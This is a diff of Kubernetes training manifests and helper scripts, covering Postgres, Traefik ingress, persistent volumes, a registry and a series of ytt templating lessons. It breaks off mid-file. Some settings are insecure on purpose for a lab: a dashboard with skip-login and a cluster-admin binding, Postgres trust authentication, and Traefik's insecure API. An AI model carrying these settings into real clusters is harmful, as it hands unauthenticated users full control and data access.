-        image: postgres:11
+        image: postgres:12
+        env:
+        - name: POSTGRES_HOST_AUTH_METHOD
+          value: trust
         volumeMounts:
         - mountPath: /var/lib/postgresql/data
           name: postgres

k8s/psp-restricted.yaml

@@ -1,12 +1,12 @@
 ---
-apiVersion: extensions/v1beta1
+apiVersion: policy/v1beta1
 kind: PodSecurityPolicy
 metadata:
   annotations:
     apparmor.security.beta.kubernetes.io/allowedProfileNames: runtime/default
     apparmor.security.beta.kubernetes.io/defaultProfileName: runtime/default
-    seccomp.security.alpha.kubernetes.io/allowedProfileNames: docker/default
-    seccomp.security.alpha.kubernetes.io/defaultProfileName: docker/default
+    seccomp.security.alpha.kubernetes.io/allowedProfileNames: runtime/default
+    seccomp.security.alpha.kubernetes.io/defaultProfileName: runtime/default
   name: restricted
 spec:
   allowPrivilegeEscalation: false

k8s/pv.yaml

@@ -0,0 +1,20 @@
+kind: PersistentVolume
+apiVersion: v1
+metadata:
+  generateName: my-pv-
+  labels:
+    container.training/pv: ""
+spec:
+  accessModes:
+  - ReadWriteOnce
+  - ReadWriteMany
+  capacity:
+    storage: 1G
+  hostPath:
+    path: /tmp/my-pv
+  #storageClassName: my-sc
+  #claimRef:
+  #  kind: PersistentVolumeClaim
+  #  apiVersion: v1
+  #  namespace: default
+  #  name: my-pvc-XYZ45

k8s/pvc.yaml

@@ -0,0 +1,13 @@
+kind: PersistentVolumeClaim
+apiVersion: v1
+metadata:
+  generateName: my-pvc-
+  labels:
+    container.training/pvc: ""
+spec:
+  accessModes:
+  - ReadWriteOnce
+  resources:
+    requests:
+      storage: 1G
+  #storageClassName: my-sc

k8s/rainbow.yaml

@@ -0,0 +1,147 @@
+---
+apiVersion: v1
+kind: Namespace
+metadata:
+  name: blue
+  labels:
+    app: rainbow
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: rainbow
+    color: blue
+  name: color
+  namespace: blue
+spec:
+  selector:
+    matchLabels:
+      app: rainbow
+      color: blue
+  template:
+    metadata:
+      labels:
+        app: rainbow
+        color: blue
+    spec:
+      containers:
+      - image: jpetazzo/color
+        name: color
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: rainbow
+    color: blue
+  name: color
+  namespace: blue
+spec:
+  ports:
+  - name: http
+    port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: rainbow
+    color: blue
+  type: ClusterIP
+---
+apiVersion: v1
+kind: Namespace
+metadata:
+  name: green
+  labels:
+    app: rainbow
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: rainbow
+    color: green
+  name: color
+  namespace: green
+spec:
+  selector:
+    matchLabels:
+      app: rainbow
+      color: green
+  template:
+    metadata:
+      labels:
+        app: rainbow
+        color: green
+    spec:
+      containers:
+      - image: jpetazzo/color
+        name: color
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: rainbow
+    color: green
+  name: color
+  namespace: green
+spec:
+  ports:
+  - name: http
+    port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: rainbow
+    color: green
+  type: ClusterIP
+---
+apiVersion: v1
+kind: Namespace
+metadata:
+  name: red
+  labels:
+    app: rainbow
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: rainbow
+    color: red
+  name: color
+  namespace: red
+spec:
+  selector:
+    matchLabels:
+      app: rainbow
+      color: red
+  template:
+    metadata:
+      labels:
+        app: rainbow
+        color: red
+    spec:
+      containers:
+      - image: jpetazzo/color
+        name: color
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: rainbow
+    color: red
+  name: color
+  namespace: red
+spec:
+  ports:
+  - name: http
+    port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: rainbow
+    color: red
+  type: ClusterIP

k8s/socat.yaml

@@ -1,28 +1,17 @@
-apiVersion: extensions/v1beta1
+apiVersion: apps/v1
 kind: Deployment
 metadata:
-  annotations:
-    deployment.kubernetes.io/revision: "2"
-  creationTimestamp: null
-  generation: 1
   labels:
     app: socat
   name: socat
   namespace: kube-system
-  selfLink: /apis/extensions/v1beta1/namespaces/kube-system/deployments/socat
 spec:
   replicas: 1
   selector:
     matchLabels:
       app: socat
-  strategy:
-    rollingUpdate:
-      maxSurge: 1
-      maxUnavailable: 1
-    type: RollingUpdate
   template:
     metadata:
-      creationTimestamp: null
       labels:
         app: socat
     spec:
@@ -34,34 +23,19 @@ spec:
         image: alpine
         imagePullPolicy: Always
         name: socat
-        resources: {}
-        terminationMessagePath: /dev/termination-log
-        terminationMessagePolicy: File
-      dnsPolicy: ClusterFirst
-      restartPolicy: Always
-      schedulerName: default-scheduler
-      securityContext: {}
-      terminationGracePeriodSeconds: 30
-status: {}
 ---
 apiVersion: v1
 kind: Service
 metadata:
-  creationTimestamp: null
   labels:
     app: socat
   name: socat
   namespace: kube-system
-  selfLink: /api/v1/namespaces/kube-system/services/socat
 spec:
-  externalTrafficPolicy: Cluster
   ports:
   - port: 80
     protocol: TCP
     targetPort: 80
   selector:
     app: socat
-  sessionAffinity: None
   type: NodePort
-status:
-  loadBalancer: {}

k8s/tilt-registry.yaml

@@ -0,0 +1,42 @@
+---
+apiVersion: v1
+kind: Namespace
+metadata:
+  name: tilt-registry
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: tilt-registry
+  name: tilt-registry
+  namespace: tilt-registry
+spec:
+  selector:
+    matchLabels:
+      app: tilt-registry
+  template:
+    metadata:
+      labels:
+        app: tilt-registry
+    spec:
+      containers:
+      - image: registry
+        name: registry
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: tilt-registry
+  name: tilt-registry
+  namespace: tilt-registry
+spec:
+  ports:
+  - port: 5000
+    protocol: TCP
+    targetPort: 5000
+    nodePort: 30555
+  selector:
+    app: tilt-registry
+  type: NodePort

k8s/traefik-v1.yaml

@@ -0,0 +1,87 @@
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: traefik-ingress-controller
+  namespace: kube-system
+---
+kind: DaemonSet
+apiVersion: apps/v1
+metadata:
+  name: traefik-ingress-controller
+  namespace: kube-system
+  labels:
+    k8s-app: traefik-ingress-lb
+spec:
+  selector:
+    matchLabels:
+      k8s-app: traefik-ingress-lb
+  template:
+    metadata:
+      labels:
+        k8s-app: traefik-ingress-lb
+        name: traefik-ingress-lb
+    spec:
+      tolerations:
+      - effect: NoSchedule
+        operator: Exists
+      hostNetwork: true
+      serviceAccountName: traefik-ingress-controller
+      terminationGracePeriodSeconds: 60
+      containers:
+      - image: traefik:1.7
+        name: traefik-ingress-lb
+        ports:
+        - name: http
+          containerPort: 80
+          hostPort: 80
+        - name: admin
+          containerPort: 8080
+          hostPort: 8080
+        securityContext:
+          capabilities:
+            drop:
+            - ALL
+            add:
+            - NET_BIND_SERVICE
+        args:
+        - --api
+        - --kubernetes
+        - --logLevel=INFO
+---
+kind: ClusterRole
+apiVersion: rbac.authorization.k8s.io/v1
+metadata:
+  name: traefik-ingress-controller
+rules:
+  - apiGroups:
+      - ""
+    resources:
+      - services
+      - endpoints
+      - secrets
+    verbs:
+      - get
+      - list
+      - watch
+  - apiGroups:
+      - extensions
+    resources:
+      - ingresses
+    verbs:
+      - get
+      - list
+      - watch
+---
+kind: ClusterRoleBinding
+apiVersion: rbac.authorization.k8s.io/v1
+metadata:
+  name: traefik-ingress-controller
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: traefik-ingress-controller
+subjects:
+- kind: ServiceAccount
+  name: traefik-ingress-controller
+  namespace: kube-system

k8s/traefik-v2.yaml

@@ -0,0 +1,114 @@
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: traefik-ingress-controller
+  namespace: kube-system
+---
+kind: DaemonSet
+apiVersion: apps/v1
+metadata:
+  name: traefik-ingress-controller
+  namespace: kube-system
+  labels:
+    k8s-app: traefik-ingress-lb
+spec:
+  selector:
+    matchLabels:
+      k8s-app: traefik-ingress-lb
+  template:
+    metadata:
+      labels:
+        k8s-app: traefik-ingress-lb
+        name: traefik-ingress-lb
+    spec:
+      tolerations:
+      - effect: NoSchedule
+        operator: Exists
+      hostNetwork: true
+      serviceAccountName: traefik-ingress-controller
+      terminationGracePeriodSeconds: 60
+      containers:
+      - image: traefik:v2.5
+        name: traefik-ingress-lb
+        ports:
+        - name: http
+          containerPort: 80
+          hostPort: 80
+        - name: https
+          containerPort: 443
+          hostPort: 443
+        - name: admin
+          containerPort: 8080
+          hostPort: 8080
+        securityContext:
+          capabilities:
+            drop:
+            - ALL
+            add:
+            - NET_BIND_SERVICE
+        args:
+        - --accesslog
+        - --api
+        - --api.insecure
+        - --log.level=INFO
+        - --metrics.prometheus
+        - --providers.kubernetesingress
+        - --entrypoints.http.Address=:80
+        - --entrypoints.https.Address=:443
+        - --entrypoints.https.http.tls.certResolver=default
+---
+kind: ClusterRole
+apiVersion: rbac.authorization.k8s.io/v1
+metadata:
+  name: traefik-ingress-controller
+rules:
+  - apiGroups:
+      - ""
+    resources:
+      - services
+      - endpoints
+      - secrets
+    verbs:
+      - get
+      - list
+      - watch
+  - apiGroups:
+      - extensions
+    resources:
+      - ingresses
+    verbs:
+      - get
+      - list
+      - watch
+  - apiGroups:
+      - networking.k8s.io
+    resources:
+      - ingresses
+      - ingressclasses
+    verbs:
+      - get
+      - list
+      - watch
+---
+kind: ClusterRoleBinding
+apiVersion: rbac.authorization.k8s.io/v1
+metadata:
+  name: traefik-ingress-controller
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: traefik-ingress-controller
+subjects:
+- kind: ServiceAccount
+  name: traefik-ingress-controller
+  namespace: kube-system
+---
+kind: IngressClass
+apiVersion: networking.k8s.io/v1
+metadata:
+  name: traefik
+  annotations:
+    ingressclass.kubernetes.io/is-default-class: "true"
+spec:
+  controller: traefik.io/ingress-controller

k8s/traefik.yaml

@@ -1,103 +0,0 @@
----
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  name: traefik-ingress-controller
-  namespace: kube-system
----
-kind: DaemonSet
-apiVersion: apps/v1
-metadata:
-  name: traefik-ingress-controller
-  namespace: kube-system
-  labels:
-    k8s-app: traefik-ingress-lb
-spec:
-  selector:
-    matchLabels:
-      k8s-app: traefik-ingress-lb
-  template:
-    metadata:
-      labels:
-        k8s-app: traefik-ingress-lb
-        name: traefik-ingress-lb
-    spec:
-      tolerations:
-      - effect: NoSchedule
-        operator: Exists
-      hostNetwork: true
-      serviceAccountName: traefik-ingress-controller
-      terminationGracePeriodSeconds: 60
-      containers:
-      - image: traefik:1.7
-        name: traefik-ingress-lb
-        ports:
-        - name: http
-          containerPort: 80
-          hostPort: 80
-        - name: admin
-          containerPort: 8080
-          hostPort: 8080
-        securityContext:
-          capabilities:
-            drop:
-            - ALL
-            add:
-            - NET_BIND_SERVICE
-        args:
-        - --api
-        - --kubernetes
-        - --logLevel=INFO
----
-kind: Service
-apiVersion: v1
-metadata:
-  name: traefik-ingress-service
-  namespace: kube-system
-spec:
-  selector:
-    k8s-app: traefik-ingress-lb
-  ports:
-    - protocol: TCP
-      port: 80
-      name: web
-    - protocol: TCP
-      port: 8080
-      name: admin
----
-kind: ClusterRole
-apiVersion: rbac.authorization.k8s.io/v1beta1
-metadata:
-  name: traefik-ingress-controller
-rules:
-  - apiGroups:
-      - ""
-    resources:
-      - services
-      - endpoints
-      - secrets
-    verbs:
-      - get
-      - list
-      - watch
-  - apiGroups:
-      - extensions
-    resources:
-      - ingresses
-    verbs:
-      - get
-      - list
-      - watch
----
-kind: ClusterRoleBinding
-apiVersion: rbac.authorization.k8s.io/v1beta1
-metadata:
-  name: traefik-ingress-controller
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: ClusterRole
-  name: traefik-ingress-controller
-subjects:
-- kind: ServiceAccount
-  name: traefik-ingress-controller
-  namespace: kube-system

k8s/traefik.yaml

@@ -0,0 +1 @@
+traefik-v2.yaml

k8s/update-dashboard-yaml.sh

@@ -0,0 +1,73 @@
+#!/bin/sh
+
+banner() {
+  echo "# This file was generated with the script $0."
+  echo "#"
+}
+
+create_namespace() {
+  # 'helm template --namespace ... --create-namespace'
+  # doesn't create the namespace, so we need to create it.
+  # https://github.com/helm/helm/issues/9813
+  echo ---
+  kubectl create namespace kubernetes-dashboard \
+          -o yaml --dry-run=client
+  echo ---
+}
+
+add_namespace() {
+  # 'helm template --namespace ...' doesn't add namespace information,
+  # so we do it with this convenient filter instead.
+  # https://github.com/helm/helm/issues/10737
+  kubectl create -f- -o yaml --dry-run=client --namespace kubernetes-dashboard
+}
+
+(
+  banner
+  create_namespace
+  helm template kubernetes-dashboard kubernetes-dashboard \
+       --repo https://kubernetes.github.io/dashboard/ \
+       --create-namespace --namespace kubernetes-dashboard \
+       --set "extraArgs={--enable-skip-login,--enable-insecure-login}" \
+       --set metricsScraper.enabled=true \
+       --set protocolHttp=true \
+       --set service.type=NodePort \
+       | add_namespace
+  echo ---
+  kubectl create clusterrolebinding kubernetes-dashboard:insecure \
+          --clusterrole=cluster-admin \
+          --serviceaccount=kubernetes-dashboard:kubernetes-dashboard \
+          -o yaml --dry-run=client \
+          #
+) > dashboard-insecure.yaml
+
+(
+  banner
+  create_namespace
+  helm template kubernetes-dashboard kubernetes-dashboard \
+       --repo https://kubernetes.github.io/dashboard/ \
+       --create-namespace --namespace kubernetes-dashboard \
+       --set metricsScraper.enabled=true \
+       | add_namespace
+) > dashboard-recommended.yaml
+
+(
+  banner
+  create_namespace
+  helm template kubernetes-dashboard kubernetes-dashboard \
+       --repo https://kubernetes.github.io/dashboard/ \
+       --create-namespace --namespace kubernetes-dashboard \
+       --set metricsScraper.enabled=true \
+       --set service.type=NodePort \
+       | add_namespace
+  echo ---
+  kubectl create clusterrolebinding kubernetes-dashboard:cluster-admin \
+          --clusterrole=cluster-admin \
+          --serviceaccount=kubernetes-dashboard:cluster-admin \
+          -o yaml --dry-run=client \
+          #
+  echo ---
+  kubectl create serviceaccount -n kubernetes-dashboard cluster-admin \
+          -o yaml --dry-run=client \
+          # 
+) > dashboard-with-token.yaml

k8s/user=jean.doe.yaml

@@ -8,24 +8,24 @@ metadata:
 apiVersion: rbac.authorization.k8s.io/v1
 kind: ClusterRole
 metadata:
-  name: users:jean.doe
+  name: user=jean.doe
 rules:
 - apiGroups: [ certificates.k8s.io ]
   resources: [ certificatesigningrequests ]
   verbs:     [ create ]
 - apiGroups:     [ certificates.k8s.io ]
-  resourceNames: [ users:jean.doe ]
+  resourceNames: [ user=jean.doe ]
   resources:     [ certificatesigningrequests ]
   verbs:         [ get, create, delete, watch ]
 ---
 apiVersion: rbac.authorization.k8s.io/v1
 kind: ClusterRoleBinding
 metadata:
-  name: users:jean.doe
+  name: user=jean.doe
 roleRef:
   apiGroup: rbac.authorization.k8s.io
   kind: ClusterRole
-  name: users:jean.doe
+  name: user=jean.doe
 subjects:
 - kind: ServiceAccount
   name: jean.doe

k8s/volumes-for-consul.yaml

@@ -3,8 +3,6 @@ apiVersion: v1
 kind: PersistentVolume
 metadata:
   name: consul-node2
-  annotations:
-    node: node2
 spec:
   capacity:
     storage: 10Gi
@@ -26,8 +24,6 @@ apiVersion: v1
 kind: PersistentVolume
 metadata:
   name: consul-node3
-  annotations:
-    node: node3
 spec:
   capacity:
     storage: 10Gi
@@ -49,8 +45,6 @@ apiVersion: v1
 kind: PersistentVolume
 metadata:
   name: consul-node4
-  annotations:
-    node: node4
 spec:
   capacity:
     storage: 10Gi

k8s/ytt/1-variables/app.yaml

@@ -0,0 +1,164 @@
+#! Define and use variables.
+---
+#@ repository = "dockercoins"
+#@ tag = "v0.1"
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: hasher
+  name: hasher
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: hasher
+  template:
+    metadata:
+      labels:
+        app: hasher
+    spec:
+      containers:
+      - image: #@ "{}/hasher:{}".format(repository, tag)
+        name: hasher
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: hasher
+  name: hasher
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: hasher
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: redis
+  name: redis
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: redis
+  template:
+    metadata:
+      labels:
+        app: redis
+    spec:
+      containers:
+      - image: redis
+        name: redis
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: redis
+  name: redis
+spec:
+  ports:
+  - port: 6379
+    protocol: TCP
+    targetPort: 6379
+  selector:
+    app: redis
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: rng
+  name: rng
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: rng
+  template:
+    metadata:
+      labels:
+        app: rng
+    spec:
+      containers:
+      - image: #@ "{}/rng:{}".format(repository, tag)
+        name: rng
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: rng
+  name: rng
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: rng
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: webui
+  name: webui
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: webui
+  template:
+    metadata:
+      labels:
+        app: webui
+    spec:
+      containers:
+      - image: #@ "{}/webui:{}".format(repository, tag)
+        name: webui
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: webui
+  name: webui
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: webui
+  type: NodePort
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: worker
+  name: worker
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: worker
+  template:
+    metadata:
+      labels:
+        app: worker
+    spec:
+      containers:
+      - image: #@ "{}/worker:{}".format(repository, tag)
+        name: worker

k8s/ytt/2-functions/app.yaml

@@ -0,0 +1,167 @@
+#! Define and use a function to set the deployment image.
+---
+#@ repository = "dockercoins"
+#@ tag = "v0.1"
+#@ def image(component):
+#@   return "{}/{}:{}".format(repository, component, tag)
+#@ end
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: hasher
+  name: hasher
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: hasher
+  template:
+    metadata:
+      labels:
+        app: hasher
+    spec:
+      containers:
+      - image: #@ image("hasher")
+        name: hasher
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: hasher
+  name: hasher
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: hasher
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: redis
+  name: redis
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: redis
+  template:
+    metadata:
+      labels:
+        app: redis
+    spec:
+      containers:
+      - image: redis
+        name: redis
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: redis
+  name: redis
+spec:
+  ports:
+  - port: 6379
+    protocol: TCP
+    targetPort: 6379
+  selector:
+    app: redis
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: rng
+  name: rng
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: rng
+  template:
+    metadata:
+      labels:
+        app: rng
+    spec:
+      containers:
+      - image: #@ image("rng")
+        name: rng
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: rng
+  name: rng
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: rng
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: webui
+  name: webui
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: webui
+  template:
+    metadata:
+      labels:
+        app: webui
+    spec:
+      containers:
+      - image: #@ image("webui")
+        name: webui
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: webui
+  name: webui
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: webui
+  type: NodePort
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: worker
+  name: worker
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: worker
+  template:
+    metadata:
+      labels:
+        app: worker
+    spec:
+      containers:
+      - image: #@ image("worker")
+        name: worker

k8s/ytt/3-labels/app.yaml

@@ -0,0 +1,164 @@
+#! Define and use functions, demonstrating how to generate labels.
+---
+#@ repository = "dockercoins"
+#@ tag = "v0.1"
+#@ def image(component):
+#@   return "{}/{}:{}".format(repository, component, tag)
+#@ end
+#@ def labels(component):
+#@   return {
+#@     "app": component,
+#@     "container.training/generated-by": "ytt",
+#@   }
+#@ end
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels: #@ labels("hasher")
+  name: hasher
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: hasher
+  template:
+    metadata:
+      labels:
+        app: hasher
+    spec:
+      containers:
+      - image: #@ image("hasher")
+        name: hasher
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels: #@ labels("hasher")
+  name: hasher
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: hasher
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels: #@ labels("redis")
+  name: redis
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: redis
+  template:
+    metadata:
+      labels:
+        app: redis
+    spec:
+      containers:
+      - image: redis
+        name: redis
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels: #@ labels("redis")
+  name: redis
+spec:
+  ports:
+  - port: 6379
+    protocol: TCP
+    targetPort: 6379
+  selector:
+    app: redis
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels: #@ labels("rng")
+  name: rng
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: rng
+  template:
+    metadata:
+      labels:
+        app: rng
+    spec:
+      containers:
+      - image: #@ image("rng")
+        name: rng
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels: #@ labels("rng")
+  name: rng
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: rng
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels: #@ labels("webui")
+  name: webui
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: webui
+  template:
+    metadata:
+      labels:
+        app: webui
+    spec:
+      containers:
+      - image: #@ image("webui")
+        name: webui
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels: #@ labels("webui")
+  name: webui
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: webui
+  type: NodePort
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels: #@ labels("worker")
+  name: worker
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: worker
+  template:
+    metadata:
+      labels:
+        app: worker
+    spec:
+      containers:
+      - image: #@ image("worker")
+        name: worker

k8s/ytt/4-data/app.yaml

@@ -0,0 +1,162 @@
+---
+#@ load("@ytt:data", "data")
+#@ def image(component):
+#@   return "{}/{}:{}".format(data.values.repository, component, data.values.tag)
+#@ end
+#@ def labels(component):
+#@   return {
+#@     "app": component,
+#@     "container.training/generated-by": "ytt",
+#@   }
+#@ end
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels: #@ labels("hasher")
+  name: hasher
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: hasher
+  template:
+    metadata:
+      labels:
+        app: hasher
+    spec:
+      containers:
+      - image: #@ image("hasher")
+        name: hasher
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels: #@ labels("hasher")
+  name: hasher
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: hasher
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels: #@ labels("redis")
+  name: redis
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: redis
+  template:
+    metadata:
+      labels:
+        app: redis
+    spec:
+      containers:
+      - image: redis
+        name: redis
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels: #@ labels("redis")
+  name: redis
+spec:
+  ports:
+  - port: 6379
+    protocol: TCP
+    targetPort: 6379
+  selector:
+    app: redis
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels: #@ labels("rng")
+  name: rng
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: rng
+  template:
+    metadata:
+      labels:
+        app: rng
+    spec:
+      containers:
+      - image: #@ image("rng")
+        name: rng
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels: #@ labels("rng")
+  name: rng
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: rng
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels: #@ labels("webui")
+  name: webui
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: webui
+  template:
+    metadata:
+      labels:
+        app: webui
+    spec:
+      containers:
+      - image: #@ image("webui")
+        name: webui
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels: #@ labels("webui")
+  name: webui
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: webui
+  type: NodePort
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels: #@ labels("worker")
+  name: worker
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: worker
+  template:
+    metadata:
+      labels:
+        app: worker
+    spec:
+      containers:
+      - image: #@ image("worker")
+        name: worker

k8s/ytt/4-data/schema.yaml

@@ -0,0 +1,4 @@
+#@data/values-schema
+---
+repository: dockercoins
+tag: v0.1

k8s/ytt/5-factor/app.yaml

@@ -0,0 +1,54 @@
+---
+#@ load("@ytt:data", "data")
+---
+#@ def Deployment(component, repository=data.values.repository, tag=data.values.tag):
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: #@ component
+    container.training/generated-by: ytt
+  name: #@ component
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: #@ component
+  template:
+    metadata:
+      labels:
+        app: #@ component
+    spec:
+      containers:
+      - image: #@ repository + "/" + component + ":" + tag
+        name: #@ component
+#@ end
+---
+#@ def Service(component, port=80, type="ClusterIP"):
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: #@ component
+    container.training/generated-by: ytt
+  name: #@ component
+spec:
+  ports:
+  - port: #@ port
+    protocol: TCP
+    targetPort: #@ port
+  selector:
+    app: #@ component
+  type: #@ type
+#@ end
+---
+--- #@ Deployment("hasher")
+--- #@ Service("hasher")
+--- #@ Deployment("redis", repository="library", tag="latest")
+--- #@ Service("redis", port=6379)
+--- #@ Deployment("rng")
+--- #@ Service("rng")
+--- #@ Deployment("webui")
+--- #@ Service("webui", type="NodePort")
+--- #@ Deployment("worker")
+---

k8s/ytt/5-factor/schema.yaml

@@ -0,0 +1,4 @@
+#@data/values-schema
+---
+repository: dockercoins
+tag: v0.1

k8s/ytt/6-template/app.yaml

@@ -0,0 +1,56 @@
+---
+#@ load("@ytt:data", "data")
+#@ load("@ytt:template", "template")
+---
+#@ def component(name, repository=data.values.repository, tag=data.values.tag, port=None, type="ClusterIP"):
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: #@ name
+    container.training/generated-by: ytt
+  name: #@ name
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: #@ name
+  template:
+    metadata:
+      labels:
+        app: #@ name
+    spec:
+      containers:
+      - image: #@ repository + "/" + name + ":" + tag
+        name: #@ name
+        #@ if/end port==80:
+        readinessProbe:
+          httpGet:
+            port: #@ port
+#@ if port != None:
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: #@ name
+    container.training/generated-by: ytt
+  name: #@ name
+spec:
+  ports:
+  - port: #@ port
+    protocol: TCP
+    targetPort: #@ port
+  selector:
+    app: #@ name
+  type: #@ type
+#@ end
+#@ end
+---
+--- #@ template.replace(component("hasher", port=80))
+--- #@ template.replace(component("redis", repository="library", tag="latest", port=6379))
+--- #@ template.replace(component("rng", port=80))
+--- #@ template.replace(component("webui", port=80, type="NodePort"))
+--- #@ template.replace(component("worker"))
+---

k8s/ytt/6-template/schema.yaml

@@ -0,0 +1,4 @@
+#@data/values-schema
+---
+repository: dockercoins
+tag: v0.1

k8s/ytt/7-morevalues/app.yaml

@@ -0,0 +1,65 @@
+---
+#@ load("@ytt:data", "data")
+#@ load("@ytt:template", "template")
+---
+#@ def component(name, repository, tag, port=None, type="ClusterIP"):
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: #@ name
+    container.training/generated-by: ytt
+  name: #@ name
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: #@ name
+  template:
+    metadata:
+      labels:
+        app: #@ name
+    spec:
+      containers:
+      - image: #@ repository + "/" + name + ":" + tag
+        name: #@ name
+        #@ if/end port==80:
+        readinessProbe:
+          httpGet:
+            port: #@ port
+#@ if port != None:
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: #@ name
+    container.training/generated-by: ytt
+  name: #@ name
+spec:
+  ports:
